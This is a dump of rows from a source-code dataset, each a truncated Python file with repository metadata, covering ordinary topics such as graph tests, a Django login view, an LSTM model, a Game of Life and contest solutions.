] | 131 | 2019-07-04T15:40:13.000Z | 2022-03-29T12:34:23.000Z | #!/usr/bin/env python3
import random
import unittest
import networkit as nk
class TestMatchingAlgorithms(unittest.TestCase):
def generateRandomWeights(self, g):
if not g.isWeighted():
g = nk.graphtools.toWeighted(g)
for e in g.iterEdges():
g.setWeight(e[0], e[1], random.random())
return g
def setUp(s... | 24.145455 | 69 | 0.705572 | 185 | 1,328 | 5.021622 | 0.356757 | 0.037675 | 0.055974 | 0.01507 | 0.142088 | 0.107643 | 0.107643 | 0 | 0 | 0 | 0 | 0.011504 | 0.149096 | 1,328 | 54 | 70 | 24.592593 | 0.810619 | 0.015813 | 0 | 0.05 | 1 | 0 | 0.025268 | 0.019142 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.175 | false | 0 | 0.075 | 0 | 0.35 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0c5dedcb0effb4189c812849e79f4767e82d42c | 567 | py | Python | scripts/oauth_login.py | longShot-88/hello_twitter | fc3e1861afe86865d257bba31975eb3b7453c84a | [
"MIT"
] | null | null | null | scripts/oauth_login.py | longShot-88/hello_twitter | fc3e1861afe86865d257bba31975eb3b7453c84a | [
"MIT"
] | null | null | null | scripts/oauth_login.py | longShot-88/hello_twitter | fc3e1861afe86865d257bba31975eb3b7453c84a | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import twitter
''' oauth_login into twitter '''
# Docs
# https://dev.twitter.com/oauth
# LogIn
def oauth_login():
# credentials for OAuth
CONSUMER_KEY = ' ---- '
CONSUMER_SECRET = ' ---- '
OAUTH_TOKEN = ' ---- '
OAUTH_TOKEN_SECRET = ' ---- '
# Creating the auth... | 18.9 | 93 | 0.693122 | 70 | 567 | 5.371429 | 0.442857 | 0.106383 | 0.101064 | 0.132979 | 0.138298 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002114 | 0.165785 | 567 | 29 | 94 | 19.551724 | 0.792812 | 0.27866 | 0 | 0 | 0 | 0 | 0.065217 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0ca977e5eba7da540bca0ff980e2cf99843bcf9 | 2,651 | py | Python | tools/nntool/graph/matches/matcher.py | knmcguire/gap_sdk | 7b0a09a353ab6f0550793d40bd46e98051f4a3d7 | [
"Apache-2.0"
] | null | null | null | tools/nntool/graph/matches/matcher.py | knmcguire/gap_sdk | 7b0a09a353ab6f0550793d40bd46e98051f4a3d7 | [
"Apache-2.0"
] | null | null | null | tools/nntool/graph/matches/matcher.py | knmcguire/gap_sdk | 7b0a09a353ab6f0550793d40bd46e98051f4a3d7 | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2019 GreenWaves Technologies
# All rights reserved.
# This software may be modified and distributed under the terms
# of the BSD license. See the LICENSE file for details.
from abc import ABC, abstractmethod
from typing import Generator, Sequence
from graph.graph_identity import GraphIdentity
from u... | 31.939759 | 84 | 0.644662 | 313 | 2,651 | 5.239617 | 0.329073 | 0.053659 | 0.042683 | 0.031707 | 0.110366 | 0.110366 | 0.110366 | 0.075 | 0.075 | 0 | 0 | 0.002081 | 0.274991 | 2,651 | 82 | 85 | 32.329268 | 0.851197 | 0.118069 | 0 | 0.288136 | 0 | 0 | 0.039485 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.186441 | false | 0.050847 | 0.067797 | 0 | 0.372881 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c0d36144bc53daace9bcf3351b4e262b5a4b8f59 | 3,260 | py | Python | isobutane.py | erkandem/isobutane | f0926622c9b332e887316aedb41b7741049dd4c4 | [
"MIT"
] | null | null | null | isobutane.py | erkandem/isobutane | f0926622c9b332e887316aedb41b7741049dd4c4 | [
"MIT"
] | null | null | null | isobutane.py | erkandem/isobutane | f0926622c9b332e887316aedb41b7741049dd4c4 | [
"MIT"
] | null | null | null | """
a combination of the
- ideal gas law and
- a simple chemical reaction
But still, no warranty.
"""
# %% constants
AVOGARDRO = 6.02214076 * 10 ** 23 # 1/mol
BOLTZMANN = 1.380649 * 10 ** -23 # J/K or Nm/K or (kgm^2)/(Ks^2)
UNIVERSAL_GAS = AVOGARDRO * BOLTZMANN # J/(molK) or (kgm^2)/(molKs^2)
# %% atomic masses ... | 27.863248 | 80 | 0.701534 | 494 | 3,260 | 4.338057 | 0.240891 | 0.050397 | 0.027998 | 0.030331 | 0.499767 | 0.25385 | 0.113859 | 0.113859 | 0.077462 | 0 | 0 | 0.051606 | 0.197546 | 3,260 | 116 | 81 | 28.103448 | 0.767584 | 0.243252 | 0 | 0.067797 | 0 | 0 | 0.146096 | 0.033585 | 0 | 0 | 0 | 0 | 0 | 1 | 0.20339 | false | 0 | 0 | 0.067797 | 0.355932 | 0.101695 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0db4d1501528b09a65ba85df8fe0e01ab73257f | 491 | py | Python | 1601-1700/1633-Strings That Satisfies The Condition/1633-Strings That Satisfies The Condition.py | jiadaizhao/LintCode | a8aecc65c47a944e9debad1971a7bc6b8776e48b | [
"MIT"
] | 77 | 2017-12-30T13:33:37.000Z | 2022-01-16T23:47:08.000Z | 1601-1700/1633-Strings That Satisfies The Condition/1633-Strings That Satisfies The Condition.py | jxhangithub/LintCode-1 | a8aecc65c47a944e9debad1971a7bc6b8776e48b | [
"MIT"
] | 1 | 2018-05-14T14:15:40.000Z | 2018-05-14T14:15:40.000Z | 1601-1700/1633-Strings That Satisfies The Condition/1633-Strings That Satisfies The Condition.py | jxhangithub/LintCode-1 | a8aecc65c47a944e9debad1971a7bc6b8776e48b | [
"MIT"
] | 39 | 2017-12-07T14:36:25.000Z | 2022-03-10T23:05:37.000Z | class Solution:
"""
@param target: the target string
@param s:
@return: output all strings containing target in s
"""
def getAns(self, target, s):
# Write your code here
result = []
for word in s:
i = 0
for c in word:
if c == targ... | 25.842105 | 55 | 0.423625 | 53 | 491 | 3.924528 | 0.584906 | 0.028846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008065 | 0.494908 | 491 | 18 | 56 | 27.277778 | 0.830645 | 0.238289 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 0 | 1 | 0.083333 | false | 0 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0db5134221a159709d0eedbff8f9893593dd3ae | 858 | py | Python | for-proriv/myfuture/users/views.py | DmitryAA/EdVision | 4a6a5d72eef1a6f2a0522e27666e17fca8e6dd10 | [
"MIT"
] | null | null | null | for-proriv/myfuture/users/views.py | DmitryAA/EdVision | 4a6a5d72eef1a6f2a0522e27666e17fca8e6dd10 | [
"MIT"
] | null | null | null | for-proriv/myfuture/users/views.py | DmitryAA/EdVision | 4a6a5d72eef1a6f2a0522e27666e17fca8e6dd10 | [
"MIT"
] | null | null | null | from django.shortcuts import render,render_to_response
from django.contrib import auth
from django.http import HttpResponseRedirect
from django.template.context_processors import csrf
def login(request):
args = {}
args.update(csrf(request))
if request.method == "POST":
username = request.POST.get... | 34.32 | 70 | 0.667832 | 97 | 858 | 5.845361 | 0.43299 | 0.070547 | 0.056437 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.222611 | 858 | 24 | 71 | 35.75 | 0.850075 | 0 | 0 | 0.181818 | 0 | 0 | 0.106061 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0.090909 | 0.181818 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c0dd84d7d23656edc71d31581606321829fcb329 | 655 | py | Python | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/__init__.py | ALBA-Synchrotron/cookiecutter-albalib | d5bfd76b3d1d77282a0945017f0851535beb3532 | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/__init__.py | ALBA-Synchrotron/cookiecutter-albalib | d5bfd76b3d1d77282a0945017f0851535beb3532 | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/__init__.py | ALBA-Synchrotron/cookiecutter-albalib | d5bfd76b3d1d77282a0945017f0851535beb3532 | [
"BSD-3-Clause"
] | null | null | null | {% set klass = cookiecutter.project_slug.capitalize() -%}
{% set is_open_source = cookiecutter.open_source_license != 'Not open source' -%}
# -*- coding: utf-8 -*-
#
# This file is part of the {{ cookiecutter.project_name }} project
#
# Copyright (c) {% now 'local', '%Y' %} {{ cookiecutter.full_name }}
{% if is_open_so... | 36.388889 | 90 | 0.676336 | 76 | 655 | 5.5 | 0.565789 | 0.119617 | 0.057416 | 0.138756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001779 | 0.141985 | 655 | 17 | 91 | 38.529412 | 0.741993 | 0.369466 | 0 | 0 | 0 | 0 | 0.268786 | 0.063584 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.125 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0e64b588664455a7b765acdda2739883719cc1f | 3,721 | py | Python | utils/Logger.py | JiwooKimAR/MWP-solver-with-pretrained-language-model | 7fa723ba4485dd446840effc457d5ebcfef9357f | [
"MIT"
] | 5 | 2022-03-02T06:30:03.000Z | 2022-03-23T13:01:20.000Z | utils/Logger.py | JiwooKimAR/MWP-solver-with-pretrained-language-model | 7fa723ba4485dd446840effc457d5ebcfef9357f | [
"MIT"
] | null | null | null | utils/Logger.py | JiwooKimAR/MWP-solver-with-pretrained-language-model | 7fa723ba4485dd446840effc457d5ebcfef9357f | [
"MIT"
] | null | null | null | import os
from time import strftime
import logging
def make_log_dir(log_dir):
"""
Generate directory path to log
:param log_dir:
:return:
"""
if not os.path.exists(log_dir):
os.mkdir(log_dir)
log_dirs = os.listdir(log_dir)
if len(log_dirs) == 0:
idx = 0
else:
... | 29.531746 | 102 | 0.630744 | 462 | 3,721 | 4.898268 | 0.199134 | 0.066284 | 0.023862 | 0.022978 | 0.51171 | 0.458683 | 0.458683 | 0.395935 | 0.395935 | 0.320813 | 0 | 0.002122 | 0.239989 | 3,721 | 125 | 103 | 29.768 | 0.798091 | 0.368987 | 0 | 0.259259 | 1 | 0 | 0.064091 | 0.021071 | 0 | 0 | 0 | 0 | 0 | 1 | 0.092593 | false | 0 | 0.055556 | 0 | 0.203704 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0e9220982260e4399eca4fc9229d8e50c93fc5e | 8,761 | py | Python | keras_based/exchange/core/models/multivariate_lstm.py | TianyuDu/AnnEconForecast | 648bb05498f333811021c07b04000d5f81ddc7f8 | [
"MIT"
] | 7 | 2018-12-26T07:54:43.000Z | 2020-03-27T04:35:48.000Z | keras_based/exchange/core/models/multivariate_lstm.py | TianyuDu/EFANN | 648bb05498f333811021c07b04000d5f81ddc7f8 | [
"MIT"
] | null | null | null | keras_based/exchange/core/models/multivariate_lstm.py | TianyuDu/EFANN | 648bb05498f333811021c07b04000d5f81ddc7f8 | [
"MIT"
] | 2 | 2019-06-09T21:10:56.000Z | 2021-03-20T13:13:48.000Z | import datetime
import os
import keras
import numpy as np
import pandas as pd
from base_model import BaseModel
from multivariate_container import MultivariateContainer
from typing import Union
class MultivariateLSTM(BaseModel):
def __init__(
self,
container: MultivariateContainer,
... | 31.742754 | 99 | 0.567059 | 947 | 8,761 | 5.110876 | 0.24604 | 0.022727 | 0.01343 | 0.015702 | 0.302273 | 0.256612 | 0.244215 | 0.208264 | 0.135537 | 0.116942 | 0 | 0.005137 | 0.333409 | 8,761 | 275 | 100 | 31.858182 | 0.82363 | 0.118365 | 0 | 0.299492 | 0 | 0 | 0.188352 | 0.030858 | 0 | 0 | 0 | 0.018182 | 0 | 1 | 0.050761 | false | 0 | 0.040609 | 0 | 0.111675 | 0.142132 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0ec489f543bd0796b0d477c7a37de62650139c7 | 22,302 | py | Python | dependencies/src/4Suite-XML-1.0.2/Ft/Xml/Xslt/_4xslt.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | null | null | null | dependencies/src/4Suite-XML-1.0.2/Ft/Xml/Xslt/_4xslt.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | null | null | null | dependencies/src/4Suite-XML-1.0.2/Ft/Xml/Xslt/_4xslt.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | 1 | 2020-07-26T03:57:45.000Z | 2020-07-26T03:57:45.000Z | ########################################################################
# $Header: /var/local/cvsroot/4Suite/Ft/Xml/Xslt/_4xslt.py,v 1.50.2.1 2006/10/16 21:52:39 jkloth Exp $
"""
Implementation of '4xslt' command
(functions defined here are used by the Ft.Lib.CommandLine framework)
Copyright 2006 Fourthought, Inc. (U... | 39.896243 | 102 | 0.572146 | 2,380 | 22,302 | 5.259664 | 0.207983 | 0.012462 | 0.024924 | 0.011983 | 0.259466 | 0.211376 | 0.18773 | 0.176865 | 0.13229 | 0.113037 | 0 | 0.005282 | 0.320868 | 22,302 | 558 | 103 | 39.967742 | 0.821207 | 0.099274 | 0 | 0.328605 | 0 | 0 | 0.180957 | 0.004556 | 0 | 0 | 0 | 0.001792 | 0 | 0 | null | null | 0.009456 | 0.040189 | null | null | 0.004728 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0f7a6bc93514964bfadf94be61b5ea4504f45d4 | 915 | py | Python | code/board.py | eulerlab/spectral-scanner | 3da291c16f408ce46d009ae63257606df4ed3230 | [
"MIT"
] | 1 | 2020-12-05T16:59:10.000Z | 2020-12-05T16:59:10.000Z | code/board.py | eulerlab/spectral-scanner | 3da291c16f408ce46d009ae63257606df4ed3230 | [
"MIT"
] | null | null | null | code/board.py | eulerlab/spectral-scanner | 3da291c16f408ce46d009ae63257606df4ed3230 | [
"MIT"
] | null | null | null | # ----------------------------------------------------------------------------
# board.py
# Pin definitions
#
# The MIT License (MIT)
# Copyright (c) 2020 Thomas Euler
# 2020-11-21, v1
# ----------------------------------------------------------------------------
from micropython import const
# Spectrometer (CM12880MA... | 24.078947 | 78 | 0.418579 | 91 | 915 | 4.087912 | 0.67033 | 0.043011 | 0.053763 | 0.064516 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104348 | 0.245902 | 915 | 37 | 79 | 24.72973 | 0.434783 | 0.445902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.058824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0fa2f49575dac3372e8634156dbba34c5078d82 | 1,541 | py | Python | Python_scripts/PyevolveEx1.py | janaobsteter/Genotype_CODES | 8adf70660ebff4dd106c666db02cdba8b8ce4f97 | [
"Apache-2.0"
] | 1 | 2021-10-07T18:55:03.000Z | 2021-10-07T18:55:03.000Z | Python_scripts/PyevolveEx1.py | janaobsteter/Genotype_CODES | 8adf70660ebff4dd106c666db02cdba8b8ce4f97 | [
"Apache-2.0"
] | null | null | null | Python_scripts/PyevolveEx1.py | janaobsteter/Genotype_CODES | 8adf70660ebff4dd106c666db02cdba8b8ce4f97 | [
"Apache-2.0"
] | 1 | 2017-04-13T09:07:41.000Z | 2017-04-13T09:07:41.000Z | from pyevolve import G1DList
from pyevolve import GSimpleGA
from pyevolve import Selectors
from pyevolve import Statistics
from pyevolve import DBAdapters
import pyevolve
# This function is the evaluation function, we want
# to give high score to more zero'ed chromosomes
def eval_func(chromosome):
score = 0.0
#... | 28.537037 | 71 | 0.774822 | 220 | 1,541 | 5.404545 | 0.563636 | 0.050463 | 0.075694 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019246 | 0.157041 | 1,541 | 54 | 72 | 28.537037 | 0.896074 | 0.491888 | 0 | 0 | 0 | 0 | 0.003922 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.25 | null | null | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0fdf59eefc1172ff0ed941fa416971a669a5fa4 | 1,382 | py | Python | tatoebatools/transcriptions.py | eumiro/tatoebatools | 97a50b9aa4d7a66550aa338ab595cb10eb7f799d | [
"MIT"
] | 14 | 2020-10-27T10:19:42.000Z | 2021-12-25T14:45:20.000Z | tatoebatools/transcriptions.py | eumiro/tatoebatools | 97a50b9aa4d7a66550aa338ab595cb10eb7f799d | [
"MIT"
] | 5 | 2020-09-29T20:04:07.000Z | 2021-04-25T11:25:07.000Z | tatoebatools/transcriptions.py | eumiro/tatoebatools | 97a50b9aa4d7a66550aa338ab595cb10eb7f799d | [
"MIT"
] | 3 | 2020-09-29T13:31:42.000Z | 2020-12-16T13:47:38.000Z | class Transcription:
"""A sentence transcription in an auxiliary or alternative script"""
def __init__(
self, sentence_id, lang, script_name, username, transcription
):
# the id of the sentence
self._sid = sentence_id
# the language of the sentence
self._lg = lang
... | 30.043478 | 76 | 0.63097 | 174 | 1,382 | 4.896552 | 0.33908 | 0.046948 | 0.058685 | 0.056338 | 0.138498 | 0.044601 | 0 | 0 | 0 | 0 | 0 | 0.005181 | 0.301737 | 1,382 | 45 | 77 | 30.711111 | 0.87772 | 0.450072 | 0 | 0.208333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0fee9b1f43ee77d63b4339daef8259163f7010b | 797 | py | Python | vol3/109.py | EdisonAlgorithms/ProjectEuler | 95025ede2c92dbd3ed2dccc0f8a97e9a3db95ef0 | [
"MIT"
] | null | null | null | vol3/109.py | EdisonAlgorithms/ProjectEuler | 95025ede2c92dbd3ed2dccc0f8a97e9a3db95ef0 | [
"MIT"
] | null | null | null | vol3/109.py | EdisonAlgorithms/ProjectEuler | 95025ede2c92dbd3ed2dccc0f8a97e9a3db95ef0 | [
"MIT"
] | null | null | null | if __name__ == "__main__":
doubles = [2 * x for x in range(1, 21)]
doubles.append(50)
singles = [x for x in range(1, 21)]
singles.append(25)
triples = [3 * x for x in range(1, 21)]
scores = singles + doubles + triples
scores.sort()
limit = 100
ans = 0
for i in doubles:
i... | 24.151515 | 54 | 0.457967 | 107 | 797 | 3.336449 | 0.28972 | 0.098039 | 0.042017 | 0.058824 | 0.215686 | 0.12605 | 0.12605 | 0 | 0 | 0 | 0 | 0.049217 | 0.439147 | 797 | 32 | 55 | 24.90625 | 0.749441 | 0 | 0 | 0.206897 | 0 | 0 | 0.010038 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.034483 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0ff95d9c4bdd8a83e2be6d23e8bf6bb55c5251b | 888 | py | Python | Codeforces/A_Pashmak_and_Garden.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | Codeforces/A_Pashmak_and_Garden.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | Codeforces/A_Pashmak_and_Garden.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | x1, y1, x2, y2 = list(map(int,input().split()))
if x1 == x2 :
d = abs(y2-y1)
x3 , y3 = x2+d , y2
x4 , y4 = x1+d , y1
print("{x3} {y3} {x4} {y4}".format(x3=x3, y3=y3, x4=x4, y4=y4))
elif y1 == y2:
d = abs(x2-x1)
x3 , y3 = x2 , y2+d
x4 , y4 = x1 , y1+d
print("{x3} {y3} {x4} {y4}".format(x3... | 31.714286 | 75 | 0.443694 | 157 | 888 | 2.484076 | 0.165605 | 0.123077 | 0.092308 | 0.112821 | 0.4 | 0.4 | 0.4 | 0.4 | 0.4 | 0.4 | 0 | 0.188679 | 0.343468 | 888 | 28 | 76 | 31.714286 | 0.480274 | 0 | 0 | 0.321429 | 0 | 0 | 0.085489 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.178571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
8d022dd3adb04c9e58bea4df1430cad210ee72f3 | 3,021 | py | Python | lifegame.py | k28/python_lifegame | 6791615b5e35ece55ffd8905b4e3fc3e9efc7bb7 | [
"MIT"
] | null | null | null | lifegame.py | k28/python_lifegame | 6791615b5e35ece55ffd8905b4e3fc3e9efc7bb7 | [
"MIT"
] | null | null | null | lifegame.py | k28/python_lifegame | 6791615b5e35ece55ffd8905b4e3fc3e9efc7bb7 | [
"MIT"
] | null | null | null | # coding: utf-8
import random
import sys, time
import copy
import os
LIVE = '*'
DEAD = ' '
MAX_WIDTH = 40
MAX_HEIGHT = 20
# Any live cell with fewer than two live neighbours dies, as if caused by underpopulation.
# Any live cell with two or three live neighbours lives on to the next generation.
# Any live cell wit... | 26.734513 | 94 | 0.579278 | 391 | 3,021 | 4.370844 | 0.209719 | 0.134582 | 0.073727 | 0.049152 | 0.44763 | 0.377999 | 0.332358 | 0.241077 | 0.241077 | 0.241077 | 0 | 0.018546 | 0.321748 | 3,021 | 112 | 95 | 26.973214 | 0.81552 | 0.134062 | 0 | 0.5 | 0 | 0 | 0.002687 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034884 | false | 0.093023 | 0.046512 | 0 | 0.093023 | 0.046512 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
8d022f634672f8746620e610ef1acfcdad7b78c0 | 1,252 | py | Python | tello_ros/src/camera_info_publisher.py | PedroS235/TelloSwarm | 193abba280efd467318f9d19e2fc91433ea75525 | [
"MIT"
] | null | null | null | tello_ros/src/camera_info_publisher.py | PedroS235/TelloSwarm | 193abba280efd467318f9d19e2fc91433ea75525 | [
"MIT"
] | null | null | null | tello_ros/src/camera_info_publisher.py | PedroS235/TelloSwarm | 193abba280efd467318f9d19e2fc91433ea75525 | [
"MIT"
] | 2 | 2021-11-24T01:54:22.000Z | 2022-02-16T21:00:26.000Z | #!/usr/bin/python3
import rospy
from sensor_msgs.msg import CameraInfo
from datetime import datetime
def publisher():
"""
This method contains the information to calibrate the tello camera
"""
print("Starting calibrator node")
publisher = rospy.Publisher("camera/camera_info", CameraInfo, que... | 29.809524 | 80 | 0.605431 | 167 | 1,252 | 4.437126 | 0.562874 | 0.11336 | 0.087719 | 0.075574 | 0.068826 | 0.05668 | 0 | 0 | 0 | 0 | 0 | 0.236443 | 0.263578 | 1,252 | 41 | 81 | 30.536585 | 0.567245 | 0.127796 | 0 | 0 | 0 | 0 | 0.103738 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033333 | false | 0 | 0.1 | 0 | 0.133333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
238ae6669007d27894469ce1ec03b10bcd4d1f50 | 2,017 | py | Python | ui/response_info_ui.py | LinkedList/qTTp | fc4fee02a947f6a81742180460e3709e447d171f | [
"MIT"
] | null | null | null | ui/response_info_ui.py | LinkedList/qTTp | fc4fee02a947f6a81742180460e3709e447d171f | [
"MIT"
] | null | null | null | ui/response_info_ui.py | LinkedList/qTTp | fc4fee02a947f6a81742180460e3709e447d171f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'response_info.ui',
# licensing of 'response_info.ui' applies.
#
# Created: Sun Feb 17 10:16:18 2019
# by: pyside2-uic running on PySide2 5.12.1
#
# WARNING! All changes made in this file will be lost!
from PySide2 import QtCore, QtGui... | 41.163265 | 114 | 0.715915 | 195 | 2,017 | 7.389744 | 0.441026 | 0.105482 | 0.056211 | 0.064539 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022465 | 0.183441 | 2,017 | 48 | 115 | 42.020833 | 0.852459 | 0.132871 | 0 | 0 | 1 | 0 | 0.029902 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0.029412 | 0.029412 | 0 | 0.117647 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
239bc8b359740236186c4b64294770b6bfccd1b1 | 1,742 | py | Python | embeddings.py | ramanshgrover/A-Modern-Approach-To-Image-Captioning | 406ea70d82821e84cdeb50da29751837f54b4024 | [
"MIT"
] | null | null | null | embeddings.py | ramanshgrover/A-Modern-Approach-To-Image-Captioning | 406ea70d82821e84cdeb50da29751837f54b4024 | [
"MIT"
